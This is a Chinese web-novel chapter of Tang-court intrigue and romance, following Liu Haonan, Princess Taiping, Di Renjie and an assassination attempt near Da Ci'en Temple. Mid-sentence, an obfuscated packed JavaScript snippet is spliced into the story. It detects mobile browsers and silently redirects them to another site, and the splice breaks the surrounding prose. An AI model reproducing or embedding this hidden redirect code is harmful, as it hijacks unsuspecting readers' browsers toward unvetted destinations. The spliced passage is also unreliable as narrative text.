狄仁杰踏入书房时,刘皓南正垂眸,将一块青绿色、压制成精美凤纹的茶饼,置于一方鎏金银龟纽茶碾中。他研磨茶末的动作沉稳,但细看之下,对唐代流行的、这套繁琐煎茶器具的运用,透着一种刻意为之的、略显凝滞的生疏。紫檀木大案上,摊开的弩司档案卷宗旁,银鹾簋中盛着洁白如雪的细盐,越窑青瓷瓮里浸着切得极细的黄色姜丝,还有一碟桂皮、一串胡椒——正是唐人煎茶时,用以调和茶汤、增添风味的“作料”阵仗,琳琅满目。 “驸马竟以《永徽律疏》疏议,来注解弩司陈年积案?”狄仁杰目光如炬,指尖掠过卷宗上新鲜的朱批,袖口逸出的清冽檀香气,不经意间拂动了鎏金风炉上煎茶釜中袅袅升起的白色水汽。 刘皓南执着银制鸂鶒首执壶,将二沸之水注入茶釜,看着青绿色的茶末在沸水中翻滚、浮沉,如星辰散落。他语调平静:“陛下命臣在府中静养,协理些许军械文书,闲来无事,正可重温《阴符经三皇注》,以解烦闷。”他以竹制茶筅轻轻击拂,试图打出细腻的汤花,手法却不如常年沉浸此道的唐人那般行云流水,带着一种研读古籍后、照本宣科的规整感。“昔年在左领军卫时,常闻‘甲弩调配,当如臂使指,首尾相顾’。而今观弩司调度文书,其理相通——若当初一切皆能依《军防令》分明职责,勘验清晰,何至今日生乱?” 狄仁杰深深看他一眼,并未立即接话,只是忽然从袖中滑出一物,轻轻置于案几之上。“雁门关殉国将领旧部,日前暴毙于长安郊野。此物,硌在其胸骨之间。”那是一枚造型古朴的鸱吻纹铜符,边缘带着土沁与暗沉血渍。 刘皓南目光落在那铜符之上,瞳孔几不可察地微微一缩——那鸱吻双目处镶嵌的波斯琉璃,在窗外天光下,折射出一种幽蓝泛金的奇异流光,竟与太平颈后那枚朱砂咒印在某些角度下显现的金纹,有七八分相似! 他旋即移开视线,神色恢复淡然,只微微颔首:“狄寺丞既执掌刑狱,自然知晓,证物孤证不立,需得链环相扣,方能指向真凶。” “鸱吻乃殿脊镇火之神兽,却现于戍边将领旧部尸身之内,此为一奇。”狄仁杰说着,竟自然而然地从刘皓南手中接过茶筅,手腕悬停,以极为娴熟流畅的唐人手法,不急不缓地击拂着茶汤,姜、盐、桂、椒的复合香气随着他的动作均匀漫开。“老夫还听闻,弩司旧年档案之中,凡范阳卢氏门下作坊监造之军器,多刻有类似纹样,以为标记?不知驸马可曾留意?” 刘皓南想起平康坊那夜,卢衡袖口沾染的、在灯光下隐隐反光的特殊金粉。他没有直接回答,而是忽然提起银壶,将煮沸的茶汤倾泻入两个越窑青瓷茶盏,琥珀色的水线在紫檀案面蜿蜒,无意间竟勾勒出几道曲折的线条,粗略看去,竟似关中通往洛阳的漕运河道。“狄寺丞于大理寺阅案无数,可见这茶汤百转千回,终究东流入海?”他指尖蘸了蘸案上未干的茶渍,顺着那“河道”轻轻划过,“正如这鸱吻铜符,看似殉葬镇邪的冥器,实则为某些潜行地下的‘漕帮’通传信物,用以标示路线、辨识身份。然则,水脉纵横交错,暗流涌动,安知非有人假借此渠,暗渡陈仓?” “驸马之意,是怀疑有势力借漕运之便,暗中勾连,甚至染指弩司军械?”狄仁杰放下茶筅,起身时,宽大的袍袖拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185082|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案几边缘,一枚雕琢精细、质地温润的东宫属官玉珏,“不小心”从袍角滑落,轻轻磕在砖石地上,发出清脆一响。 刘皓南俯身,拾起那枚玉珏。指尖抚过上面精致的螭虎纹刻痕,在某个特定的、仿佛新近磕碰过的痕迹处,几不可察地停顿了一瞬。他抬眼,将玉珏递还,目光平静无波:“狄寺丞可还记得,《孙子兵法·九地篇》有云:‘投之亡地然后存,陷之死地然后生’?有时,看似绝路,或为生门;而看似坦途,恐是罗网。玉珏虽微,亦需妥帖收藏,莫要再‘失手’了。” 狄仁杰接过玉珏,深深看了刘皓南一眼,那目光中似有锐利的审视,也有一丝了然的微光。他未再多言,拱手一礼,转身离去,青布篷马车很快驶出坊门,只余一缕淡淡烟尘。 待那马车消失在街角,刘皓南挥退侍从,转身踏入寝殿。 殿内光线晦暗,太平侧卧在临窗的软榻上,似乎浅眠未醒。她身上新换的藕荷色罗衣系得松垮,衣领微敞,一段白皙的后颈露在外面,那点朱砂咒印在竹帘透入的稀薄晨光中,泛着幽微难言的金色纹路。她侧卧支颐的睡态,带着毫无防备的慵懒,竟与记忆深处,在一线天昏暗地底城中,那个靠着冰冷石壁、抱着长棍小憩的杨排风的身影,在某一瞬间诡异地重叠了。 他走到榻边,俯身,一个极轻的吻,落在她后颈那点朱砂咒印上。唇瓣能清晰感受到其下肌肤的温热,与那复杂纹路细微的凸起。太平在迷糊间反手环住他的脖颈,鼻音浓重地呢喃:“薛绍……” 忽觉裙裾被轻轻掀起,兜衣背后的系绳,竟被他用齿尖灵巧地挑开、咬散。她慵懒地推拒,声音含混:“昨夜在树上……还没闹够么……” 可当腿下意识想缠上他腰际时,却只感到一阵熟悉的酸软无力,那是昨夜“胡闹”与今晨元气过度灌注共同作用的结果。 “殿下昨夜咬臣肩膀的狠劲,都去哪了?”刘皓南低笑,吻沿着她光滑的脊线一路向下,在腰窝处流连,带来一阵战栗。他声音压得极低,气息拂过她耳畔:“狄仁杰今日袖口沾的金粉,经我细辨,与那夜平康坊卢衡身上所携,无论成色、反光,皆似同出一炉。” 他不再深入,临起身时,掌心带着戏谑,不轻不重地掠过她后腰,在臀线处稍作停留,便干脆地抽离,“申时,臣再来向殿下,仔细‘讨教’昨夜未尽之‘账’。” 他回到书房时,目光一凝。 书房西北角,那原本只放着一盆绿植的空处,无声无息地多出了三只摞起的樟木箱。箱体古旧,却纤尘不染,仿佛一直就在那里,又像是凭空出现。最上面一只箱盖上,压着一张素白花笺,其上簪花小楷清丽绝伦,正是上官婉儿的手笔,墨迹犹新: “酬尔护主周全,看顾得当,赐尔闲览,以资谈助。” 字迹旁,甚至用朱砂懒懒画了个简笔笑脸,透着十足十的、属于“前辈阵灵”的戏谑与“打赏”意味,仿佛在说:昨夜树上胡闹,惊扰四方清净,但念你总算护住了公主的颜面体统,这几箱书,算是赏你的“辛苦费”。 刘皓南打开箱盖。箱中典籍分门别类,码放整齐,墨香与陈旧纸张的气息混合着淡淡的樟木香幽幽散出: * 兵家卷:内收《太公六韬》竹简残片拓本,与数卷《阴符经三皇注》古抄本。书页边缘空白处,密布着另一种清峻灵秀笔迹的批注,正是上官婉儿的手泽,以朱砂(私人批注可用,非代表皇权的“朱批”)蝇头小楷,写满了对平阳昭公主骑兵阵法的推演心得、用兵机要的点评,甚至夹杂着几句对当年朝中武将用兵得失的犀利吐槽,勾画纵横,见解精辟,恍若与百年前的兵家隔空对话。 * 道法典藏:包含成玄英亲笔注疏的《南华真经》善本,与李淳风亲撰的《乙巳占》星象秘录。书页夹层中,还藏着数张以朱砂精心绘制的北斗七星演算图与奇门遁甲推盘,轨迹玄奥,显然出自精通道术者之手,或许是她生前收集或得自某位方外之交。 * 杂艺剑典:辑录了失传已久的公孙大娘剑舞注本残篇,空白处,则是数行以飞白体狂草批注:“观彼剑舞,非止娱目。其势圆转如意,暗合阴阳;其动迅捷如电,可破万钧。剑器如笔,墨透纸背,舞之蹈之,亦可为沙场破阵之基。” 字里行间,剑气纵横,几乎破纸而出,非文武兼修、见识超卓者不能为。 刘皓南伸手,从兵家卷中缓缓抽出那卷《阴符经三皇注》。就在书卷离箱的刹那,窗外庭树上,一只惊鹊忽然尖鸣着掠起,振翅声打破了庭院的寂静。 他持卷走到窗边,恰好看见狄仁杰那辆青篷马车的最后一点影子,消失在坊门之外。车帘翻飞间,只余下一缕尚未散尽的、混合着檀香与茶烟的淡淡气息,萦绕在清冷的晨风里。他收回目光,指腹摩挲着手中古籍粗糙的纸页边缘,感受着其上朱砂小楷留下的、几乎能想象出那位才女执笔时凝神思索的微凹触感。前朝兵家与道者的智慧,本朝传奇女子的批注心得,与方才案几上未冷的茶汤、消逝的车影、袖口的金粉、胸骨的铜符……种种线索,如同无声的潮水,在他深邃的眼眸中,缓缓汇聚、碰撞、激荡。这位“前辈”的“打赏”,看似随意,却件件戳中他此刻所需,这份洞察与随手为之的“关照”,比任何直接的馈赠,都更显其深不可测。 ! 55. 功力精进和刺杀 刘皓南的指尖缓缓抚过樟木箱中那三卷看似寻常、却隐隐牵动气机的典籍。 指尖最先触到的,是袁天罡《太白会运逆兆通记》的古老帛书。帛面冰凉柔韧,边缘已泛出岁月沉淀的暗赭色,更有细密的虫蛀斑点如同星图散布,但内里以银丝混合秘药书写的星象谶文,却在烛光下流转着幽微的光泽。接着是李淳风亲撰的《乙巳占》手稿,纸张脆薄,但以朱砂混合辰州砂精心点绘的星官轨迹图,在他指尖掠过时,竟仿佛有微弱光华一闪而逝,与窗外透入的些微天光隐隐呼应。最后是成玄英的《南华真经注疏》,书页间除了墨香,还残留着一丝极淡的、属于御用的龙涎香气,翻至中页,赫然是数行铁画银钩、力透纸背的硃砂批注——“道可驭兵,无为而制有为。武氏曌览。” 那“曌”字最后一竖,锋芒毕露,几乎划破纸背,朱砂色泽历经百年,依旧鲜艳如血,带着一代女皇不容置疑的霸气与某种对“道”与“兵”关系的独特领悟。 他将这三卷书,依循某种玄妙轨迹,在青玉簟上缓缓摊开,恰好形成一个等边三角。《太白会运》居上,对应天;《乙巳占》居左下,对应地;《南华真疏》居右下,对应人。这正是李淳风“天地人三才”推演格局的基础变阵。当三卷归位,书页无风自动,簟上竟无声无息地浮起一层肉眼难辨、如月下薄霜般的清冷辉光,室内的空气似乎都凝滞了几分。 戌时三刻,万籁俱寂。 刘皓南于青玉簟上盘膝而坐,依成玄英所述“坐忘”法门,摒弃杂念,导引内息周天流转。当灵台渐趋空明,内视经脉时,膻中穴深处骤然传来一阵尖锐刺痛,如被无形星芒逆刺!——这正是他强入此方依托李淳风水陆法会根基构建的幻境时,触动外围星衍禁制所留下的暗伤,平日潜伏,此刻在精纯道韵牵引下骤然反噬。 刘皓南不惊反笑,笑意微冷。他指尖精准掠过摊开的《乙巳占》中“荧惑守心,主兵戈,亦主内衅”那一页,同时体内真气陡然逆转,循着袁天罡帛书末页一行几乎褪色的逆行小字所载的、迥异于常理的“逆行周天”秘法运转。此法凶险,寻常人用之必致经脉错乱,但他膻中之伤恰如“荧惑”逆行犯主,以此“逆行”之法引导,反而歪打正着。 但见窗外疏影横斜,皎洁月光穿透窗纸,竟不偏不倚,恰好将庭院古树枝桠的剪影,投射在摊开的《太白会运》帛书之上。枝影交错,恍然间竟与帛书上银丝描绘的星官轨迹隐隐重叠,更奇异的是,月光透过枝桠缝隙,在帛书上落下点点光斑,恰好构成了一幅残缺却灵动的二十八宿倒影!与此同时,他体内因逆行真气而刺痛震颤的几处关键穴窍,竟与帛书上被月光点亮的几处“星位”,以及《乙巳占》朱砂星图中对应的“星官”,产生了微妙的共鸣!痛楚依旧,但一丝丝精纯的、源自这幻境本源(亦是李淳风阵法根基)的星力,竟随着这共鸣,被强行吸纳,缓缓渗入他受损的经脉,如甘泉渗入旱裂的土地。 子夜时分,月到中天。 《太白会运图》末页,那片以银粉混合特殊材质勾勒的、平日隐而不显的“北斗九星”(包含辅、弼两隐星)图,在吸收了足够月华与刘皓南刻意引导的、源自“荧惑”伤处的逆乱气机后,忽生异动!九星光华流转,尤其是辅、弼二隐星位置,银粉竟自行蠕动,仿佛要脱帛而出! 刘皓南福至心灵,毫不迟疑,信手掬起茶案上银鹾簋中用于煎茶的洁白细盐,运劲均匀撒于身前地面。细盐落地,竟自然呈现出简易的九宫八卦轮廓。他足下踏出玄奥步法,正是道门“禹步”,一步一转折,暗合北斗九星方位。每踏至一个关键星位转折处,怀中贴身佩戴的那枚自幼不离身、质如凝脂、内蕴流云与狼形暗纹的玉珏,便骤然灼热一分!此玉珏乃他母妃临终所赐,言是其娘家秘传,暗合上古北斗遁甲之术,他自幼佩戴,只觉有宁神之效,今日方知其用。 待他足尖稳稳踏完代表“隐光”(弼星)的最后一个方位—— “砰!” 一声极轻微、却清晰的碎裂声自他怀中响起。那枚狼纹玉珏应声迸裂,化为齑粉!与此同时,地面盐阵上辅、弼二星方位,与帛书上那两点蠕动的银粉,同时爆发出一点微不可查却精纯无比的金芒,如电般一闪,没入他眉心祖窍! “咔嚓……咔嚓……” 刘皓南周身骨节,自颈椎至尾闾,发出一连串细微如春冰初裂的轻响。他凝神内视,只见体内原先因强行突破幻境禁制而处处滞涩、如同被无形星锁禁锢的经脉,此刻豁然贯通!真气奔流如春江破冰,沛然莫御。更令人惊喜的是,借由这片刻与幻境本源星力的沟通,他“看”清了李淳风所布核心禁制其中约三成的流转轨迹与能量节点!虽远未全窥奥秘,但已非昔日盲目。他忽然想起幼时在北汉皇宫,母妃于观星台上,执着他小小的手指,指向北方星空:“南儿,瞧见杓口那两颗忽明忽暗、常人难见的隐星否?世人只道北斗七星,却不知尚有辅弼二星隐于紫微垣侧。此乃天道四九,遁去其一,亦是紫微垣留给世间破局者的一线生门。” 如今,这“生门”的线索,竟在三百年前,就被精于星象谶纬的袁天罡,以如此隐晦的方式,绘入了这幅《太白会运图》之中。 待他缓缓收功,睁开双眼,案上烛台积下的烛泪已厚逾一寸,竟已是丑时三刻。万籁俱寂,唯有窗外月色清冷。 他踏着满地清辉悄声归寝。守在外间的侍女已倚着门框,头如小鸡啄米般一点一点。他无声挥手,屏退所有侍从,独自掀开内室鲛绡帐。 帐内景象,让他怔了一下,随即眼底泛起一丝几乎无法察觉的、混合了无奈与纵容的波澜。 只见太平睡得毫无章法,且极具“武将”风范:藕荷色的软绸寝衣早已卷到了大腿根,露出一双笔直修长、在朦胧夜色中泛着象牙光泽的腿;其中一条腿豪放不羁地架在旁边的隐囊(软垫)上,脚踝还无意识地勾了勾。双臂则呈标准的“小擒拿手”起手式,紧紧锁着怀里的联珠纹锦衾,十指扣得死紧,仿佛那不是锦衾而是敌人臂膀。后颈那点朱砂咒印,随着她悠长的呼吸,明灭着幽微的、萤火般的玫金色光晕。最令人哑然失笑的是,她不知何时,竟把那条柔软蓬松的锦衾卷成了扎实的“麻花”状,紧紧抱在怀里,脸颊还无意识地蹭了蹭“麻花”顶端,嘴里含糊地嘟囔了一句:“看……镖……” 这哪里是金枝玉叶的公主睡姿?分明是常年枕戈待旦、习惯随时应战的军士,在睡梦中也不忘操练、且缺乏安全感的肌肉记忆。 刘皓南拧了热帕子,想为她擦拭额间细汗。指尖刚触及她额头,猝不及防,睡梦中的太平手腕一翻,五指如钩,一记精妙迅捷的“缠丝扣腕” 已牢牢锁住他的脉门!这手法劲力运用之巧妙、认穴之精准,绝非深宫女子所能有,分明是北地军中流传的缠丝劲真传。 刘皓南心头一震,瞬间闪过无数念头:是那咒印激发了她潜在的战斗本能?还是杨排风的武学记忆,已开始无声无息地渗透、融合? 可太平根本没醒。她只是咂了咂嘴,仿佛抓住了什么趁手的“兵器”或“抱枕”,拽着他的手腕就往自己怀里带,脸颊还无意识地在他微凉的掌心蹭了蹭,寻了个舒服的位置。 刘皓南僵立榻前,任由她拉着。片刻,他几不可闻地轻叹一声,用空着的那只手,带着一种生疏却努力温柔的力道,轻轻拍抚她的后背,如同安抚受惊的猫儿。 这招似乎起效。太平扣着他脉门的手指力道果然松了些,但下一刻,她架在隐囊上的那条腿,竟顺势一抬、一勾、一锁,精准地缠上了他的腰际——这次是“地堂拳”中的“锁腿摔”技法的前奏动作,只是力道绵软,更像无意识的缠绕。 刘皓南被她这上下齐出的“睡梦锁技”缠得一时动弹不得,索性不再试图挣脱。他低下头,就着她微微嘟起的唇,极轻、极快地偷了一个吻。轻如蝶触花瓣,一触即分。 她没醒,只是含糊地“唔”了一声,环在他颈间(原本锁着锦衾,此刻换成他脖颈)的手臂却收得更紧了些,仿佛怕这“抱枕”跑了。 于是,刘皓南从善如流,又“偷”了两下。一下,落在她轻颤的眼皮上;一下,印在她后颈那明灭不定的朱砂咒印中央。最后,他将脸轻轻埋在她散着茉莉浸膏淡香的颈窝里,无声地,低低笑了起来。胸腔传来沉闷的震动。 寅初的更鼓声,远远从坊间传来。 刘皓南这才小心翼翼地从太平那“天罗地网”般的睡姿锁技中,一点点挪出身子。待他更衣漱毕,重新掀衾躺下时,那具温软的身体仿佛自带感应,自动自发地滚进他怀里,额头抵着他心口,腿又不容分说地缠了上来,这次倒没什么招式,只是单纯的依偎。 晨光微熹,透过窗纱,落在太平恬静如婴孩的睡颜上。后颈的咒印,泛着幽微而稳定的玫金色光晕。刘皓南掌心轻覆在那印记上,感受着皮下血脉平稳的搏动,看了她许久,终是收拢手臂,将人更紧地拥入怀中,下颌轻蹭她发顶,一同沉入黎明前最深的黑甜乡。 巳时三刻,大慈恩寺。 九重金漆门槛之上,早已铺陈开赤色地衣,绵延如血。太平公主的七宝厌翟车由十六名绛衣宦官稳稳抬行,孔雀羽华盖张开如云,障目蔽空,所过之处,有侍女手提金篮,将混合了珍贵龙脑香的屑金轻轻挥洒,日光下金粉纷扬,异香馥郁,彰显着帝国最受宠爱公主的无上荣光。 刘皓南骑一匹通体雪白、神骏非常的御马,随行在銮驾右侧。他今日着一身青墨色圆领常服袍,乍看低调,唯有行动间,衣袍上以银线暗绣的大片鸱吻纹在光线下若隐若现,平添几分内敛的华贵与神秘。他脊背挺直,目光沉静地扫视着沿途的屋脊、树冠、巷口以及涌动人群中的每一丝异动,看似恭谨随扈,实则周身气息凝练,仿佛一柄收入鞘中的利剑,看似无害,却隐隐散发着久经沙场者才能磨砺出的、对危险的本能嗅觉。 仪仗迤逦,行至大雄宝殿前宏伟的广场。六十名金吾卫甲胄鲜明,持戟肃立,瞬间列成威严阵型。主持惠范法师亲率百余僧众,手持香炉、宝幢,口诵佛号,恭敬相迎。 太平扶着贴身侍女的手臂,缓缓踏下香车。她今日盛装,发髻高耸,金步摇轻颤,明艳不可方物。就在转身面向大殿的瞬间,她指尖“不慎”掠过身侧刘皓南垂落的袍袖。那看似无意的触碰,指尖却精准地擦过他袖中暗藏的臂张弩机冰冷坚硬的轮廓,甚至在他微露的腕间,留下了一道极淡的、带着她口脂香气的胭脂划痕。 刘皓南身形几不可察地一僵,目光倏地转向她,带着一丝克制的警告。太平却已若无其事地转过头,只留给他一个优雅的侧影和发间步摇细碎的轻响,仿佛方才那近乎调情的触碰与暗示,不过是公主殿下一次无心之举。 礼佛仪式漫长而庄严。刘皓南按制立于殿外廊下,耳中听着袅袅梵音,心神却如绷紧的弓弦。他能感觉到暗处不止一道目光落在自己身上,有寺僧探究的注视,有金吾卫将领习惯性的审视,更有几道难以捉摸、若即若离的窥视,来自飞檐后,来自古树梢,甚至来自更远的、香客云集之处。 仪式毕,太平并未依常例即刻起驾回府,反而执意要转入寺西幽深的古园林“散散心”。惠范法师面露难色,但终究不敢违拗。 园中古木参天,最显眼的是那株据说已历千年的银杏,树干需数人合抱,枝叶亭亭如盖,深秋时节,满树金黄,地上也铺了厚厚一层。无数红色的祈愿帛条悬垂在低枝上,随风轻摆,如累累硕果,又似斑驳血泪。 太平挥退所有侍从宦官,只留刘皓南一人。她仰头望着那如云如盖的金色树冠,以及其间飘荡的无数红帛,忽然轻笑出声,那笑声在空旷寂寥的古园中显得格外清晰,甚至有些突兀。 “薛绍,”她以团扇虚指树冠高处一条略显陈旧的帛带,侧过头,眼波流转,带着一种天真又残忍的好奇,“你可知,当年高阳公主在此系帛祈愿时,那帛上写的是什么?” 刘皓南正凝神感应着四周假山、回廊、树丛后可能潜藏的呼吸与心跳,闻言眉头骤然蹙紧,压低声音,语气带着不容置疑的冷硬与警示:“殿下慎言。《永徽律疏》有载:妄议宗室秘辛,尤其涉及前朝公主旧事,徒三年。此地并非畅所欲言之所。” “怕什么?”太平浑不在意,反而又凑近半步,手中团扇的玉柄几乎戳到他胸前衣襟,仰着脸,吐气如兰,眼中闪烁着恶作剧般的光芒,也有一丝不易察觉的、试探他底线的兴味,“《大唐西域记》里说,释迦于菩提树下,也需历经爱憎别离诸般情劫,方能证道……你说,当年那位辩机法师,在刑场被腰斩时,可曾后悔,没早些在这银杏树下参透情关,悟得大道呢?” 她突然踮起脚尖,将红唇凑到他耳边,用只有两人能听到的气音,呢喃道:“就像……前夜在槐树上,你在我耳边,念的不是佛经,却是《黄庭经》……那算不算,也是一种‘悟道’?嗯?” 温热的气息带着撩人的馨香与滚烫的暗示,拂过耳廓。刘皓南猛地侧身一步,拉开距离,目光如电,迅速扫过二十步外僧寮的屋檐与更远处几棵高大的松柏,声音压得更低,带着被撩拨后的薄怒与紧绷的警惕:“殿下!请自重。僧寮近在咫尺,耳目众多,非是戏言之地。” 他特意加重了“戏言”二字。 太平看着他瞬间绷紧的下颌线条和泛起不易察觉红晕的颈侧,似乎得到了某种奇特的满足,用团扇掩唇,发出一声极轻的、得逞般的娇笑,眼波横流地睨了他一眼,这才施施然转身,仿佛刚才那番惊世骇俗、足以惹来大祸的私语从未发生。 未时,仪仗起驾返程。 鸾驾刚驶出晋昌坊,转入相对僻静的修政坊街道。突然—— “咻——咻——咻!” 三支响箭(鸣镝)毫无征兆地从前方屋顶、左侧坊墙、右侧酒楼二楼,呈品字形破空尖啸而至!目标精准,直指抬舆宦官与护驾金吾卫前列的指挥者! “敌袭!结圆阵!护驾!” 金吾卫将领反应不可谓不快,嘶声怒吼,六十名甲士瞬间动作,长戟对外,盾牌相合,试图结成紧密防御阵型。然而,刺客的狠辣与训练有素远超预计。响箭未落,坊墙后、临街店铺二楼窗户轰然碎裂、甚至道旁排水沟渠盖板翻起,数十名黑衣蒙面刺客如鬼魅般跃出!他们不言不语,眼神冰冷,动作迅捷如电,配合默契无间,手中刀锋在秋日阳光下,竟泛着一种幽幽的、令人心悸的蓝绿色暗光——正是江湖中罕见难防、中者立毙的“碧磷毒”!更令人心寒的是,他们突袭的第一目标并非銮驾,而是有组织地集中攻击金吾卫阵型的几个关键节点和手持弓弩的护卫,旨在最快速度瘫痪整体防御! “噗嗤!”“呃啊!” 淬毒兵刃切入甲胄缝隙的闷响与惨叫几乎同时响起!前排数名金吾卫猝不及防,瞬间倒地,伤口流出的血迅速变黑,眼见不活。阵型顿时出现混乱缺口。 刘皓南在响箭破空的第一时间已从马背上腾身而起,并非退后,而是如鹰隼般前掠,精准落在銮驾左侧最容易被突破的位置。他反手拔剑,剑出鞘的龙吟声清越刺耳,但剑光却冰冷如寒潭之水。没有多余的花哨,剑势展开,迅疾、简洁、致命!第一剑,便如毒蛇吐信,从一个不可思议的角度刺入一名扑向銮驾车夫的刺客咽喉,剑尖透颈而过,带出一蓬血雨,刺客的刀甚至还未完全举起。抽剑,旋身,剑脊拍开侧面袭来的毒镖,顺势下削,第二名刺客持刀的手腕齐腕而断,断手与毒刀尚未落地,刘皓南的左脚已如铁鞭般横扫,重重踹在其胸口,骨骼碎裂声清晰可闻,刺客如破麻袋般倒飞出去,撞塌了路边一个货摊。 他的招式,乍看有玄门剑法的飘逸灵动,如云鹤掠空,但细看之下,每一招都带着沙场搏杀锤炼出的、最直接高效的狠辣!剑尖所指,非喉即眼,非心即腕;掌劈肘击,皆蕴含分筋错骨的阴劲;即便格挡,也带着反震伤敌的暗力。飘逸只是表象,内里是赤裸裸的杀人术。当一名刺客试图以地堂刀法滚进攻击下盘时,刘皓南甚至没有低头,手中长剑看似随意下刺,却精准无比地从刺客后颈与头盔的缝隙刺入,贯穿咽喉!动作流畅得仿佛演练过千百遍。 这已非防卫,而是高效、冷酷的清除。仅仅几个呼吸,已有五六名刺客倒在他的剑下,死状各异,但皆是一击毙命。这种狠辣果决、近乎本能般追求最大杀伤效率的战法,让勉强结阵抵挡的金吾卫都感到一阵寒意。这绝非寻常贵族子弟或护卫应有的身手,更像……百战余生的悍卒,或是某些见不得光的死士头目。 然而刺客人数众多,且配合精妙,似乎对鸾驾周围的防御力量了如指掌。他们分出两拨人悍不畏死地冲击、分割金吾卫阵型,另一拨精锐则如毒蛇般,直扑已显慌乱的銮驾!刘皓南虽剑法高绝,出手狠辣,瞬间毙敌数人,但需分心护住銮驾周全,难免左支右绌。当他以一招“流星追月”,剑尖点碎第七名试图发射弩箭的刺客喉骨时,异 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同时,他足下步法陡然变得玄奥莫测,看似杂乱无章,实则每一步踏出,都暗合星辰方位,身形在弥漫的毒烟与混乱的人影中时隐时现,如同鬼魅。这正是他昨夜初步领悟的、源自袁天罡一系的北斗遁甲步法!此刻用于小范围腾挪,效果惊人。他时而出现在车辕旁,一掌拍飞一名靠近的刺客,掌力阴柔,刺客胸骨尽碎却无声倒下;时而出现在车顶,剑光一闪,削断数支射向车厢的毒箭;时而又出现在马车另一侧,并指如戟,点倒试图从车底攻击的敌人。 毒烟与混乱给了他最好的掩护,也让他的出手更加无所顾忌。当最后一名武艺明显高出同侪、试图从刁钻角度突入车厢的刺客首领,被一枚从毒烟中诡异射出、毫无声息的银针精准钉入眉心,死死钉在路旁的槐树上时,百米外临街茶楼二楼的雅间帘幕后,一名伪装成茶客的男子,因目睹下方那超乎常理的毒烟倒卷、鬼魅身法以及狠辣精准的杀戮,惊得手中茶盏失手跌落,在寂静的雅间中发出清脆的碎裂声。 刘皓南丝毫不敢停留。毒烟虽被驱散部分,但仍在弥漫,金吾卫与宦官死伤惨重,能站立者不足十人,且人人带伤中毒。他果断舍弃那匹已受伤惊厥的御马,一脚踹开因冲击而有些变形的銮驾车门,对着里面被毒烟呛得微咳、花容失色却强自镇定的太平急声道:“殿下,事急从权,得罪了!” 话音未落,已拦腰将她从车中抱出,用外袍一裹,身形一展,已如一只巨大的雨燕般掠上旁边坊墙,再几点,便消失在重重屋脊与巷陌之后。只留下满地狼藉、死伤惨重的护卫与刺客尸骸,以及远处正急促赶来的、马蹄声如雷的后续援兵与武侯铺的呐喊。 大明宫,紫宸殿。 李治缓缓摩挲着狄仁杰秘密呈上的那枚鸱吻铜符,指腹反复感受着其上凹凸不平的纹路与冰凉的金属质感。他久久不语,殿内静得可怕,只有更漏滴水声清晰可闻。良久,他才抬起眼,目光如深潭,看不出情绪,但声音里却透着一股浸入骨髓的寒意与猜忌: “五姓七望……呵呵,好一个‘诗礼传家,与国同休’!藏得果然够深,够远啊。连袁天罡李淳风这等人物推演天机、护卫国祚的星衍阵法,都成了他们暗通款曲、蓄养死士、图谋不轨的‘家传绝学’了?朕记得,当年袁李二位道长仙去前,曾将毕生所学部分进献宫中,部分据说随葬昭陵,还有部分……散于民间。散于民间……好一个‘散于民间’!怕是早就被这些高门大族,以各种手段,‘请’回家中,奉为秘传了吧?” 他越说,语气越慢,越冷,每一个字都像是从冰窖中捞出来:“先有河东裴氏暗蓄甲兵,结交边将;今有范阳卢氏,军械纹样与逆贼信物雷同;这薛氏子……河东薛氏,亦是名门。他一个‘病弱’的驸马都尉,哪里学来这一身沙场悍卒的狠辣手段?又从哪里修得这早已失传、连钦天监都只闻其名的袁天罡秘术?过河卒子?哼,恐怕是藏在水底多年的恶蛟,按捺不住,要借朕这女儿的大婚,探头换气了吧!” 武后手持金剪,正修剪着一盆开得正艳的并蒂牡丹,闻言,金剪停在最娇嫩的那朵花苞下,寒光一闪,花苞无声坠落。她语气平静无波,却字字千钧:“陛下明鉴。河东薛氏,祖上确有能人异士。薛绍此番显露,是情急自保,还是有意示威?是薛氏一族之意,还是……某些人联手布下的棋子?这驸马,是过河的卒子,还是……直捣黄龙的車?” 她轻轻放下金剪,拿起雪白的丝帕,慢条斯理地擦拭着纤长手指,“刺客所用碧磷毒,边军严控之物;刺客身手,训练有素,非寻常匪类。更有那星衍阵法重现……陛下,御史台那边,该动一动了。薛绍护卫公主有功,然当街杀戮过甚,所用之术诡异,恐非朝廷之福,亦当……问个清楚。” 东宫,丽正殿。 太子李贤面色阴沉如水,将那份刚刚送达的、详细记载大慈恩寺外刺杀事件(尤其着重描述了刘皓南狠辣身手与疑似道术)的密报狠狠掷入案前的水盂中,墨迹迅速晕开,染黑了一池清水。他指尖用力叩击着案上那本厚重的《氏族志》,发出沉闷的“笃笃”声,目光冷冽如刀: “查!给孤彻查到底!刺客所用碧磷毒,是来自朔方军库,还是河东私造?经手何人,流向何处?那些刺客的身份,给孤挖地三尺!活要见人,死……也要给孤查出他们祖宗十八代!” 他顿了顿,眼中闪过一丝精光,看向垂手侍立的心腹,“至于薛绍……倒是让孤意外。如此身手,如此心性……当街连毙十数人,眼都不眨,事后携太平遁走,干净利落。这般人物,岂是寻常世家子弟?能让太平如此倾心,甚至不惜在父皇面前维护之人……未必不能,为我东宫所用。找个稳妥机会,递个话去,探探他的口风。记住,要客气些。” 英王府。 李显慢慢抚摸着手中那只细腻的白瓷冰酪碗沿,指尖感受着瓷器微凉的触感,听完属下低声却详尽的禀报(尤其强调了刘皓南杀人手法之狠厉与最后所用遁术之玄奇),脸上露出一丝奇异莫测的笑容,语气轻松得像是在谈论一场有趣的百戏: “呵,阿姊这次……倒是真真觅得了一件了不得的‘珍宝’呢。杀人如剪草,遁走似流星,还有这般神鬼莫测的手段……有趣,实在有趣。” 